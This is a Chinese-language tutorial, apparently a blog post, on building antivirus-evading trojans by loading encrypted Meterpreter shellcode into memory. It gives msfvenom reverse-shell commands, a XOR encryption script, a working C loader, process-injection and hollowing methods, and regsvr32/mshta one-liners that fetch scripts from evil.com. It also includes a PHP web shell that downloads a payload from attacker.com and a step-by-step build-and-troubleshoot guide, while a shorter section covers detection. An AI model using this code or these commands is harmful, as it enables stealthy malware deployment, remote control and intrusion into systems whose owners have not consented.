1. 项目概述:从“免杀”到“shellcode”的核心逻辑
在安全攻防的实战对抗中,木马的“免杀”能力是其生存和发挥作用的关键。传统的木马文件,无论是可执行程序(EXE)还是脚本文件(如PHP、VBS),都极易被现代杀毒软件(AV)和终端检测与响应(EDR)系统通过静态特征码、行为启发式分析等手段识别并查杀。这就催生了对更高级、更隐蔽的载荷投递方式的需求。而“利用shellcode生成木马”正是当前绕过主流防御体系的一种高效思路。简单来说,它不再依赖一个完整的、携带所有恶意功能的独立文件,而是将核心恶意功能压缩成一段精简的、位置无关的机器码(即shellcode),再通过一个看似无害的“加载器”程序,在目标系统内存中动态地执行这段代码。
这背后的核心逻辑是“分离”与“动态”。将恶意功能(shellcode)与执行载体(加载器)分离。加载器本身可以做得非常干净,甚至利用系统白名单程序(如
msbuild.exe
,
regsvr32.exe
)来加载,从而绕过基于文件特征的静态扫描。而shellcode本身只是一串二进制数据,可以轻松地进行加密、编码、分割,隐藏在图片、文档、网页甚至注册表中,在运行时由加载器解密并注入到内存中执行。这种“文件无恶意,内存见真章”的方式,极大地增加了防御方的检测难度。对于渗透测试人员和红队队员而言,掌握这套技术栈,意味着能更有效地模拟高级威胁行为,检验目标系统的纵深防御能力。对于防御方(蓝队)来说,理解其原理则是构建有效内存检测、行为监控策略的前提。
2. shellcode的生成与处理:从MSF到自定义
2.1 利用Metasploit生成原始shellcode
Metasploit Framework (MSF) 是生成shellcode最经典、最强大的工具之一。它提供了
msfvenom
这个一体化工具,可以方便地生成针对各种平台、架构和功能的shellcode。
一个基础的生成反向TCP shell的示例如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
-
-p指定载荷(payload),这里选择了Windows x64系统上的Meterpreter反向TCP连接。 -
LHOST和LPORT是攻击者监听器的IP和端口。 -
-f c指定输出格式为C语言数组格式,方便嵌入到C/C++加载器中。
执行后,你会得到一串如下所示的字节数组:
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
... // 后续还有很多字节
注意 :直接使用
msfvenom生成的shellcode,其特征已被各大安全厂商充分收录。在没有任何处理的情况下使用,几乎会被所有杀软瞬间拦截。这串字节码就是我们要进行“免杀”加工的核心原材料。
2.2 shellcode的编码与加密
为了绕过静态特征检测,我们必须对原始的shellcode进行混淆处理。
msfvenom
自带了一些编码器,例如
x86/shikata_ga_nai
,但多年下来,这些编码器本身也具备了很强的特征。
更有效的方法是进行自定义加密。思路是:先用一个简单的加密算法(如XOR异或、AES、RC4)加密shellcode,然后将加密后的数据和解密函数(或密钥)一起打包进加载器。加载器运行时,先在内存中解密shellcode,再执行。
这里以最简单的XOR加密为例,展示一个Python处理脚本:
import sys
def xor_encrypt(data, key):
encrypted = bytearray()
for i in range(len(data)):
encrypted.append(data[i] ^ key[i % len(key)])
return bytes(encrypted)
# 从msfvenom输出的C数组中提取shellcode字节
raw_shellcode = bytes.fromhex(''.join(['fc', '48', '83', 'e4', 'f0', ...])) # 替换为你的shellcode hex
key = b'SecretKey' # 定义密钥
encrypted_shellcode = xor_encrypt(raw_shellcode, key)
# 输出为C语言数组格式,方便嵌入
print('unsigned char encrypted_shellcode[] = {')
for i, byte in enumerate(encrypted_shellcode):
if i % 12 == 0:
print(' ', end='')
print(f'0x{byte:02x},', end='')
if (i + 1) % 12 == 0 or i == len(encrypted_shellcode) - 1:
print()
print('};')
print(f'unsigned int shellcode_len = {len(encrypted_shellcode)};')
print(f'unsigned char key[] = \"{key.decode()}\";')
这样,最终嵌入加载器的就是一段无意义的加密数据,而非特征明显的meterpreter shellcode。
2.3 shellcode的分离与外部加载
更进一步,我们可以不把shellcode编译进加载器,而是实现“壳码分离”。加载器只负责从外部资源(如远程服务器、图片隐写、文档宏、注册表)获取加密的shellcode,解密后执行。这种方法使得加载器本身完全不含恶意代码,静态分析极难发现异常。
一个简单的思路是让加载器从指定的URL下载shellcode:
// 伪代码示例
HINTERNET hInternet = InternetOpen(...);
HINTERNET hUrl = InternetOpenUrl(hInternet, "http://your-server.com/logo.png", ...);
// 读取HTTP响应体,其中包含了隐藏在图片像素数据中的shellcode
char* encrypted_buffer = download_data(hUrl);
// 解密 encrypted_buffer
char* decrypted_shellcode = xor_decrypt(encrypted_buffer, key);
// 执行 decrypted_shellcode
execute_shellcode(decrypted_shellcode);
这种方式下,加载器只是一个普通的下载器和解密器,只要其网络行为不被拦截,就很难在文件层面被判定为恶意软件。
3. 加载器的编写与免杀技巧
加载器是shellcode的执行引擎,其免杀程度直接决定了整个攻击链能否成功投递。编写加载器的核心是调用系统API,在内存中开辟一段可执行的空间,将shellcode复制进去,然后跳转到那里执行。
3.1 经典内存加载技术
在Windows平台,最常用的方法是
VirtualAlloc
+
memcpy
+ 函数指针调用或创建线程执行。
#include <windows.h>
#include <stdio.h>
int main() {
// 1. 定义你的shellcode(这里用XOR加密后的)
unsigned char encrypted_shellcode[] = { /* ... 你的加密数据 ... */ };
unsigned char key[] = "SecretKey";
SIZE_T shellcode_size = sizeof(encrypted_shellcode);
// 2. 解密shellcode到内存
unsigned char* shellcode = (unsigned char*) malloc(shellcode_size);
for (int i = 0; i < shellcode_size; i++) {
shellcode[i] = encrypted_shellcode[i] ^ key[i % strlen(key)];
}
// 3. 申请一块可读、可写、可执行的内存页
void* exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 4. 将解密后的shellcode复制到这块内存
memcpy(exec_mem, shellcode, shellcode_size);
// 5. 执行shellcode
// 方法一:强制类型转换为函数指针并调用
((void(*)())exec_mem)();
// 方法二:创建线程执行(更隐蔽,主线程可继续运行)
// HANDLE threadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
// WaitForSingleObject(threadHandle, INFINITE);
free(shellcode);
return 0;
}
实操心得 :
PAGE_EXECUTE_READWRITE权限的内存申请在近年来已成为EDR的重点监控对象。更高级的技巧是使用“内存权限变换”:先以PAGE_READWRITE申请内存,复制shellcode,然后使用VirtualProtect将其改为PAGE_EXECUTE_READ。这更符合合法程序的行为模式。
3.2 进程注入与傀儡进程
为了进一步提升隐蔽性,通常不会在自己的进程内存中执行shellcode,而是将其注入到另一个合法的、正在运行的进程(如
explorer.exe
,
svchost.exe
)中。这就是进程注入。常见的技术有:
-
远程线程注入
:使用
OpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread这一套组合API,在目标进程空间分配内存、写入shellcode、创建远程线程执行。 -
进程镂空
:创建一个挂起的合法进程(如
notepad.exe),将其主线程挂起,清空其内存模块,填入我们的shellcode,然后恢复线程执行。从外部看,运行的是“记事本”,实际执行的是我们的代码。 -
DLL注入
:将shellcode封装成一个DLL,或者编写一个加载shellcode的DLL,然后通过
CreateRemoteThread调用LoadLibrary等方式注入到目标进程。
这些技术能有效绕过一些基于进程父子关系、进程名简单判断的检测规则。
3.3 系统自带工具滥用(Living-off-the-Land)
这是目前最高效的免杀方法之一,简称“LOLbins”。其核心思想是:不编写独立的加载器EXE文件,而是直接利用操作系统自带的、可信的、具有脚本执行或代码加载能力的合法程序来加载和执行shellcode。
- MSBuild/InstallUtil :这些.NET框架工具可以编译和执行内嵌在XML或项目文件中的C#代码。我们可以编写一个包含shellcode加载逻辑的C#脚本,让它们来执行。
-
Regsvr32/ Rundll32
:用于注册和运行DLL文件。可以制作一个特殊的DLL(或SCF、URL文件)指向远程服务器,通过
regsvr32 /s /u /i:http://evil.com/file.sct scrobj.dll这样的命令,无需文件落地即可执行远程脚本中的代码。 -
PowerShell
:功能极其强大,可以直接在内存中加载.NET程序集(Assembly)执行shellcode。著名的工具如
PowerSploit、Nishang都大量使用PS。对抗AppLocker等脚本限制策略是另一个话题。 - CScript/WScript :执行VBScript或JScript,同样可以在脚本中实现内存加载shellcode。
例如,一个利用
mshta.exe
执行HTA(HTML Application)文件来加载shellcode的命令:
mshta.exe javascript:a=(GetObject('script:http://evil.com/shellcode.hta')).close()
HTA文件中可以包含VBScript或JScript,进而执行内存加载操作。
使用这些系统自带工具,你的“木马”可能只是一个命令行参数、一段脚本代码或一个URL,根本不存在一个恶意的可执行文件,传统文件扫描完全失效。
4. 针对Web场景的shellcode木马变种
热搜词中提到了“php木马文件”、“一句话木马”,这属于Web安全范畴的shellcode应用。其原理是相通的,只是执行环境和载体不同。
4.1 从Web Shell到内存加载
传统的“一句话木马”如PHP的
<?php @eval($_POST['cmd']);?>
,功能强大但特征明显,容易被WAF和杀毒软件查杀。进阶思路是:利用Web Shell作为加载器,从远程获取加密的shellcode(适用于当前操作系统架构),然后在服务器的内存中加载执行,实现权限维持或横向移动。
例如,一个改进的PHP Web Shell:
<?php
// 伪装成一个普通的配置文件或日志文件
// 从远程URL获取加密的shellcode(例如隐藏在图片中)
$encrypted_data = file_get_contents('http://attacker.com/images/logo.png?part=real_data');
// 提取有效载荷部分(需要事先约定偏移量)
$shellcode_enc = substr($encrypted_data, 1024, 4096); // 假设从1024字节开始
// 简单的XOR解密
$key = "WebKey";
$shellcode = '';
for ($i = 0; $i < strlen($shellcode_enc); $i++) {
$shellcode .= $shellcode_enc[$i] ^ $key[$i % strlen($key)];
}
// 在PHP中执行原生shellcode需要特殊扩展(如ffi)或将其写入文件后执行
// 更常见的是,这段shellcode是用于Windows/Linux系统的,Web Shell将其下载后,通过其他方式(如已有权限)在系统层面执行。
// 以下是一个概念性展示,实际在PHP中直接内存执行shellcode非常困难且受限制
$temp_file = sys_get_temp_dir() . '/tmp.bin';
file_put_contents($temp_file, $shellcode);
// 假设shellcode是Linux x86_64的,尝试赋予执行权限并执行(需要web服务器有相应权限,风险极高)
chmod($temp_file, 0755);
// system($temp_file . ' &'); // 不推荐,仅作原理演示
// 更好的方式是将解密后的shellcode通过其他通道(如反向连接)发送给攻击者控制的其他加载器。
?>
这个Web Shell本身不包含恶意功能,只负责下载和解密,恶意行为由shellcode在系统层面实现,从而绕过对Web Shell内容本身的检测。
4.2 无文件Web攻击与内存马
在Java、ASP.NET等中间件环境中,“内存马”技术更为流行。攻击者利用框架漏洞(如反序列化、表达式注入)将恶意代码直接注入到正在运行的Web应用进程(如Tomcat、JVM、IIS工作进程)的内存中。这段代码通常就是一个shellcode加载器或者一个恶意的Filter/Servlet/Controller。
这种内存马没有文件实体,重启后可能消失,但运行时极难检测。防御需要依靠运行时应用安全保护(RASP)、内存扫描和异常行为分析。
5. 对抗检测与防御视角
了解攻击技术是为了更好地防御。从蓝队视角看,针对shellcode木马的防御需要层层递进。
5.1 静态检测的局限与增强
传统杀毒软件(AV)的静态检测对这类技术效果有限。但可以通过以下方式增强:
-
熵值分析
:加密或压缩的数据熵值(随机性)通常很高。检测文件中是否包含高熵值的段(如
.text或.data节)。 -
导入函数分析
:分析加载器的导入表。一个很小的程序却导入了
VirtualAlloc,CreateRemoteThread,InternetOpenUrl等敏感API组合,值得警惕。 - 字符串分析 :虽然加密了shellcode,但加载器中的解密密钥、URL地址、特定的错误提示字符串可能以明文存在。
- 机器学习模型 :训练模型识别可疑的PE文件特征组合,而不仅仅是单一特征码。
5.2 动态行为监控的关键点
EDR和高级威胁防护(ATP)系统的核心在于行为监控。
-
内存操作监控
:监控进程对
VirtualAlloc/VirtualProtect(特别是申请RWX内存或从RW改为RX)的调用序列。 -
进程创建与注入监控
:监控
CreateRemoteThread、QueueUserAPC等远程线程注入技术,关注跨进程的内存读写操作(WriteProcessMemory)。 - 网络行为关联 :一个刚启动的、不常见的进程,立即发起网络连接下载数据,随后产生内存执行行为,这是一个高风险的攻击链指示器。
-
LOLbins滥用检测
:建立合法系统工具的正常行为基线,监控其异常的命令行参数、子进程创建、网络连接等。例如,
msbuild.exe通常用于编译项目,如果它去下载一个远程的XML文件并执行,就非常可疑。
5.3 终端与网络层协同防御
- 应用白名单 :只允许运行受信任的应用程序,从根本上杜绝未知加载器的执行。但需要精细化管理,避免影响业务。
- 脚本执行限制 :通过组策略或专用安全产品限制PowerShell、CScript、MSBuild等的执行权限,特别是禁止从网络位置执行脚本。
- 网络流量检测与过滤 :检测出站连接中是否包含可能的C2(命令与控制)通信特征,如心跳包、加密协议识别、域名生成算法(DGA)检测等。拦截对可疑IP或域名的访问。
- 内存扫描 :定期或实时扫描进程内存,寻找已知的shellcode特征(尽管可能被加密,但解密后执行时,某些固定代码片段仍有特征)、或检测是否存在非映像内存执行(执行来自堆栈或堆的代码)。
6. 实战演练与问题排查
6.1 简易免杀加载器实战步骤
假设我们要为一个Windows x64的meterpreter shellcode制作一个基础的免杀加载器。
-
生成并加密shellcode :
# 1. 用msfvenom生成原始shellcode (raw格式) msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f raw -o raw_shellcode.bin # 2. 使用Python脚本进行XOR加密 # (使用上面提供的xor_encrypt函数,密钥自定) # 输出为C数组 encrypted_shellcode[] -
编写C加载器 :
- 创建一个新的Visual Studio C++控制台项目。
- 将加密的shellcode数组和密钥作为全局变量。
-
在
main函数中实现解密逻辑(XOR)。 -
使用
VirtualAlloc申请内存(可先PAGE_READWRITE,复制后改为PAGE_EXECUTE_READ)。 -
使用
memcpy复制解密后的shellcode。 -
使用
CreateThread在新线程中执行shellcode,主线程可以Sleep或做无害操作。 - 关闭杀毒软件的实时保护(测试环境),编译为Release模式。
-
测试与调试 :
-
在MSF中启动监听器:
use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run - 在目标测试机(虚拟机)上运行编译好的加载器。
- 观察MSF控制台是否收到会话(session)。
-
使用
sysinfo,getuid等命令测试功能。
-
在MSF中启动监听器:
6.2 常见问题与排查
-
问题1:加载器运行后立刻崩溃,无任何连接。
-
排查
:首先检查shellcode的架构是否与目标系统匹配(x86 vs x64)。这是最常见错误。确保生成的shellcode是
windows/x64/...用于64位系统。在调试模式下编译加载器,添加打印语句,检查VirtualAlloc和memcpy是否成功。使用GetLastError()获取错误码。
-
排查
:首先检查shellcode的架构是否与目标系统匹配(x86 vs x64)。这是最常见错误。确保生成的shellcode是
-
问题2:杀毒软件静态扫描就删除了加载器。
- 排查 :说明加载器本身的特征(如导入表、代码片段)被识别。尝试以下方法:① 使用不同的编译器(如MinGW)或编译选项(如关闭调试信息、优化大小);② 对加载器代码进行混淆或使用壳(如UPX,但注意UPX本身也有特征);③ 改用LOLbins方式,不生成单独的EXE文件。
-
问题3:进程成功创建,网络连接也发出,但MSF收不到会话。
-
排查
:可能是防火墙或网络策略阻止了连接。在测试机上检查出站规则。也可能是shellcode在解密或执行过程中被内存保护机制(如DEP,但
VirtualAlloc申请PAGE_EXECUTE_READWRITE通常可以绕过)干扰。尝试在加载器中添加简单的MessageBox弹窗,确认代码执行到shellcode调用前。使用Wireshark抓包,确认TCP SYN包是否发往了正确的LHOST和LPORT。
-
排查
:可能是防火墙或网络策略阻止了连接。在测试机上检查出站规则。也可能是shellcode在解密或执行过程中被内存保护机制(如DEP,但
-
问题4:使用进程注入时,注入成功但目标进程崩溃。
-
排查
:shellcode可能依赖特定的环境(如DLL基址、线程上下文)。Meterpreter的shellcode通常比较稳定,但自定义的shellcode需要注意。确保注入的shellcode是位置无关代码(PIC)。检查是否在正确的目标进程中注入(例如,向32位进程注入64位shellcode必然失败)。使用
WaitForSingleObject等待远程线程结束,避免主进程退出导致线程被强行终止。
-
排查
:shellcode可能依赖特定的环境(如DLL基址、线程上下文)。Meterpreter的shellcode通常比较稳定,但自定义的shellcode需要注意。确保注入的shellcode是位置无关代码(PIC)。检查是否在正确的目标进程中注入(例如,向32位进程注入64位shellcode必然失败)。使用
-
问题5:LOLbins方式执行失败,被策略阻止。
-
排查
:检查目标系统的AppLocker、WDAC或软件限制策略。查看系统事件日志(如
Applications and Services Logs > Microsoft > Windows > AppLocker)。尝试使用其他未被策略限制的LOLbins,或者寻找策略配置的弱点(如可能允许执行来自特定路径的脚本)。
-
排查
:检查目标系统的AppLocker、WDAC或软件限制策略。查看系统事件日志(如
免杀是一个持续对抗的过程,没有一劳永逸的技术。今天有效的方法,明天可能就被加入特征库。关键在于深入理解原理,灵活组合各种技术,并时刻关注最新的攻防研究动态。对于防御方而言,则需要构建覆盖预防、检测、响应的多层次安全体系,不依赖单一防护点。

647

被折叠的 条评论
为什么被折叠?



